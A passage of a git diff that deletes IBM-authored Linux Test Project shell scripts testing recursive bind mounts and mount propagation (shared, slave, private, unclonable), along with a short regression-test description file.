-trap 'ERR=$? ; tst_resm TWARN "rbind/test32: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test32: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test32: FAILED: rbind: shared subtree with uncloneable child to uncloneable subtree."
-	exit 1
-else
-	tst_resm TPASS "rbind/test32: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test33 b/testcases/kernel/fs/fs_bind/rbind/test33
deleted file mode 100755
index 1ba506a..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test33
+++ /dev/null
@@ -1,114 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test33} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST33***************"
-tst_resm TINFO "rbind: multi-level slave p-nodes."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test33 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir1
-
-	mkdir dir1/x dir2 dir3 dir4
-
-	mount --rbind dir1 dir2
-	"${FS_BIND_ROOT}/bin/makedir" slave dir2
-	"${FS_BIND_ROOT}/bin/makedir" -n share dir2
-
-	mount --rbind dir2 dir3
-	"${FS_BIND_ROOT}/bin/makedir" slave dir3
-	"${FS_BIND_ROOT}/bin/makedir" -n share dir3
-
-	mount --rbind dir3 dir4
-	"${FS_BIND_ROOT}/bin/makedir" slave dir4
-
-	mount --rbind "$disk1" dir1/x
-
-	check dir1/x dir2/x dir3/x dir4/x
-
-	mount --rbind "$disk2" dir2/x/a
-	check -n dir1/x/a dir2/x/a
-	check dir2/x/a dir3/x/a dir4/x/a
-
-	mount --rbind "$disk3" dir3/x/b
-	check -n dir1/x/b dir3/x/b
-	check -n dir2/x/b dir3/x/b
-	check dir3/x/b dir4/x/b
-
-	mount --rbind "$disk4" dir4/x/c
-	check -n dir1/x/c dir4/x/c
-	check -n dir2/x/c dir4/x/c
-	check -n dir3/x/c dir4/x/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test33: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test33: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir2/x/a
-	umount dir3/x/b
-	umount dir4/x/c
-	umount dir1/x
-	umount dir1
-	umount dir1
-	umount dir2
-	umount dir3
-	umount dir4
-
-	rm -rf dir*
-
-	cleanup
-} >& /dev/null
-
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test33: FAILED: rbind: multi-level slave p-nodes."
-        exit 1
-else
-        tst_resm TPASS "rbind/test33: PASSED"
-        exit 0
-fi
-
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test34 b/testcases/kernel/fs/fs_bind/rbind/test34
deleted file mode 100755
index 3e7d49c..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test34
+++ /dev/null
@@ -1,93 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test34} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST34***************"
-tst_resm TINFO "rbind: rbind within same tree - root to child, child is shared "
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test34 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent
-	"${FS_BIND_ROOT}/bin/makedir" share parent/child1
-	"${FS_BIND_ROOT}/bin/makedir" share parent/child2
-
-	mount --rbind "$disk3" parent/child1
-
-	mount --rbind parent parent/child2/
-	check parent parent/child2/
-	check parent/child1 parent/child2/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test34: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test34: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent/child2/child1
-	check parent/child1 parent/child2/child1
-
-	umount parent/child1
-	check parent/child1 parent/child2/child1
-
-	mount --rbind "$disk4" parent/child2/child1
-	check parent/child1 parent/child2/child1
-
-	umount parent/child1
-	check parent/child1 parent/child2/child1
-
-	umount parent/child2/child2
-	umount parent/child2
-	umount parent/child2
-	umount parent
-
-	rm -rf parent
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test34: FAILED: rbind: rbind within same tree - root to child, child is shared "
-	exit 1
-else
-	tst_resm TPASS "rbind/test34: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test35 b/testcases/kernel/fs/fs_bind/rbind/test35
deleted file mode 100755
index fb79cf8..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test35
+++ /dev/null
@@ -1,95 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test35} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST35***************"
-tst_resm TINFO "rbind: rbind within same tree - root to child, child is private "
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test35 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent
-	"${FS_BIND_ROOT}/bin/makedir" priv parent/child1
-	"${FS_BIND_ROOT}/bin/makedir" share parent/child2
-
-	mount --rbind "$disk3" parent/child1
-
-	mount --rbind parent parent/child2/
-	check parent parent/child2/
-	check parent/child1 parent/child2/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test35: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test35: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent/child2/child1
-	#added -n
-	check -n parent/child1 parent/child2/child1
-
-	umount parent/child1
-	check parent/child1 parent/child2/child1
-
-	mount --rbind "$disk4" parent/child2/child1
-	check -n parent/child1 parent/child2/child1
-
-	umount parent/child2/child1
-	check parent/child1 parent/child2/child1
-
-	umount parent/child2/child2
-	umount parent/child2/child1
-	umount parent/child2
-	umount parent/child2
-	umount parent
-
-	rm -rf parent
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test35: FAILED: rbind: rbind within same tree - root to child, child is private "
-	exit 1
-else
-	tst_resm TPASS "rbind/test35: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test36 b/testcases/kernel/fs/fs_bind/rbind/test36
deleted file mode 100755
index 6870151..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test36
+++ /dev/null
@@ -1,91 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test36} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST36***************"
-tst_resm TINFO "rbind: rbind within same tree - root to child, child is uncloneable"
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test36 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent/child1
-	"${FS_BIND_ROOT}/bin/makedir" share parent/child2
-
-	mount --rbind "$disk3" parent/child1
-
-	mount --rbind parent parent/child2/
-	check parent parent/child2/
-	check -n  parent/child1 parent/child2/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test36: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test36: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent/child1
-	check parent/child1 parent/child2/child1
-
-	mount --rbind "$disk4" parent/child2/child1
-	check -n  parent/child1 parent/child2/child1
-
-	umount parent/child2/child1
-	check parent/child1 parent/child2/child1
-
-	umount parent/child2/child2
-	umount parent/child1
-	umount parent/child2
-	umount parent/child2
-	umount parent
-
-	rm -rf parent
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test36: FAILED: rbind: rbind within same tree - root to child, child is uncloneable"
-	exit 1
-else
-	tst_resm TPASS "rbind/test36: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test37 b/testcases/kernel/fs/fs_bind/rbind/test37
deleted file mode 100755
index 14a6b4a..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test37
+++ /dev/null
@@ -1,102 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test37} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST37***************"
-tst_resm TINFO "rbind: private to private - with shared children."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test37 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	mkdir parent1 parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2/child2
-
-	mount --bind "$disk1" parent1/child1
-	mount --rbind parent1/child1 share1
-
-	mount --rbind parent2/child2 share2
-
-	mount --rbind parent1 parent2
-
-	check parent1 parent2
-	check parent1/child1 parent2/child1
-
-	mount --bind "$disk2" parent2/child1/a
-	check parent1/child1/a parent2/child1/a share1//a
-
-	mount --bind "$disk3" parent1/child1/b
-	check parent1/child1/b parent2/child1/b share1/b
-
-	mount --bind "$disk4" share1/c
-	check parent1/child1/c parent2/child1/c share1/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test37: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test37: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent1/child1/b
-	umount share1/c
-	umount parent2/child1
-	umount parent2/child1
-	umount parent1/child1
-	umount parent2
-	umount share2
-	umount share2
-	umount share1
-	umount share1
-	umount parent2/child2
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test37: FAILED: rbind: private to private - with shared children."
-	exit 1
-else
-	tst_resm TPASS "rbind/test37: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test38 b/testcases/kernel/fs/fs_bind/rbind/test38
deleted file mode 100755
index ae7477e..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test38
+++ /dev/null
@@ -1,101 +0,0 @@
-#!/bin/bash
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test38} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST38***************"
-tst_resm TINFO "rbind: private to private - with slave children."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test38 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	mkdir parent1 parent2 parent1/child1 parent2/child2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	mount --rbind share1 parent1/child1
-	mount --rbind share2 parent2/child2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2/child2
-
-	mount --bind "$disk1" share1
-
-	mount --rbind parent1 parent2
-
-	check parent1 parent2
-	check parent1/child1 parent2/child1
-
-	mount --bind "$disk2" share1/a
-	check parent1/child1/a parent2/child1/a share1/a
-
-	mount --bind "$disk3" parent1/child1/b
-	check -n parent1/child1/b share1/b
-
-	mount --bind "$disk4" parent2/child1/c
-	check -n parent2/child1/c share1/c
-
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test38: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test38: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/a
-	umount parent1/child1/b
-	umount parent2/child1/c
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2/child1
-	umount parent2/child1
-	umount parent2
-	umount share1
-	umount share1
-	umount share2
-	umount parent2/child2
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test38: FAILED: rbind: private to private - with slave children."
-	exit 1
-else
-	tst_resm TPASS "rbind/test38: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test39 b/testcases/kernel/fs/fs_bind/rbind/test39
deleted file mode 100755
index 006b06b..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test39
+++ /dev/null
@@ -1,78 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test39} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST39***************"
-tst_resm TINFO "rbind: private to private - with unclonable children."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test39 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	mkdir parent1 parent2
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-
-	mount --bind "$disk1" parent1/child1
-
-	mount --rbind parent1 parent2
-
-	check parent1 parent2
-	check -n parent1/child1 parent2/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test39: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test39: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test39: FAILED: rbind: private to private - with unclonable children."
-	exit 1
-else
-	tst_resm TPASS "rbind/test39: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/regression/00_Descriptions.txt b/testcases/kernel/fs/fs_bind/regression/00_Descriptions.txt
deleted file mode 100644
index 273e08a..0000000
--- a/testcases/kernel/fs/fs_bind/regression/00_Descriptions.txt
+++ /dev/null
@@ -1,44 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) International Business Machines  Corp., 2008                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-
-OO_DESCRIPTION.txt
-==================
-
-The contents of the regression directory:
-test01 - bind unshared directory to unshare mountpoint.
-test02 - rbind unshared directory to unshare mountpoint.
-test03 - move unshared directory to unshare mountpoint.
-
-
-test01:
-=======
-bind unshared directory to unshare mountpoint.
-
-
-test02:
-=======
-rbind unshared directory to unshare mountpoint.
-
-
-test03:
-=======
-move unshared directory to unshare mountpoint.
-
-
diff --git a/testcases/kernel/fs/fs_bind/regression/test01 b/testcases/kernel/fs/fs_bind/regression/test01
deleted file mode 100755
index 8cfbfb4..0000000
--- a/testcases/kernel/fs/fs_bind/regression/test01
+++ /dev/null
@@ -1,71 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test01} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST01***************"
-tst_resm TINFO "regression: bind unshared directory to unshare mountpoint."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of regression/test01 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	mkdir dir
-	mount --bind "$disk1" dir
-	check "$disk1" dir
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "regression/test01: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "regression/test01: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir
-
-	rm -rf dir
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "regression/test01: FAILED: regression: bind unshared directory to unshare mountpoint."
-	exit 1
-else
-	tst_resm TPASS "regression/test01: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/regression/test02 b/testcases/kernel/fs/fs_bind/regression/test02
deleted file mode 100755
index c07c3ed..0000000
--- a/testcases/kernel/fs/fs_bind/regression/test02
+++ /dev/null
@@ -1,78 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test02} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST02***************"
-tst_resm TINFO "regression: rbind unshared directory to unshare mountpoint."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of regression/test02 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	mkdir dir1
-	mkdir dir2
-	mount --bind "$disk1" dir1
-	mount --bind "$disk2" dir1/a
-	mount --rbind dir1 dir2
-
-	check dir1/a dir2/a
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "regression/test02: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "regression/test02: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir1/a
-	umount dir2/a
-	umount dir2
-	umount dir1
-
-	rm -rf dir*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "regression/test02: FAILED: regression: rbind unshared directory to unshare mountpoint."
-	exit 1
-else
-	tst_resm TPASS "regression/test02: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/regression/test03 b/testcases/kernel/fs/fs_bind/regression/test03
deleted file mode 100755
index 7b3cc3e..0000000
--- a/testcases/kernel/fs/fs_bind/regression/test03
+++ /dev/null
@@ -1,77 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
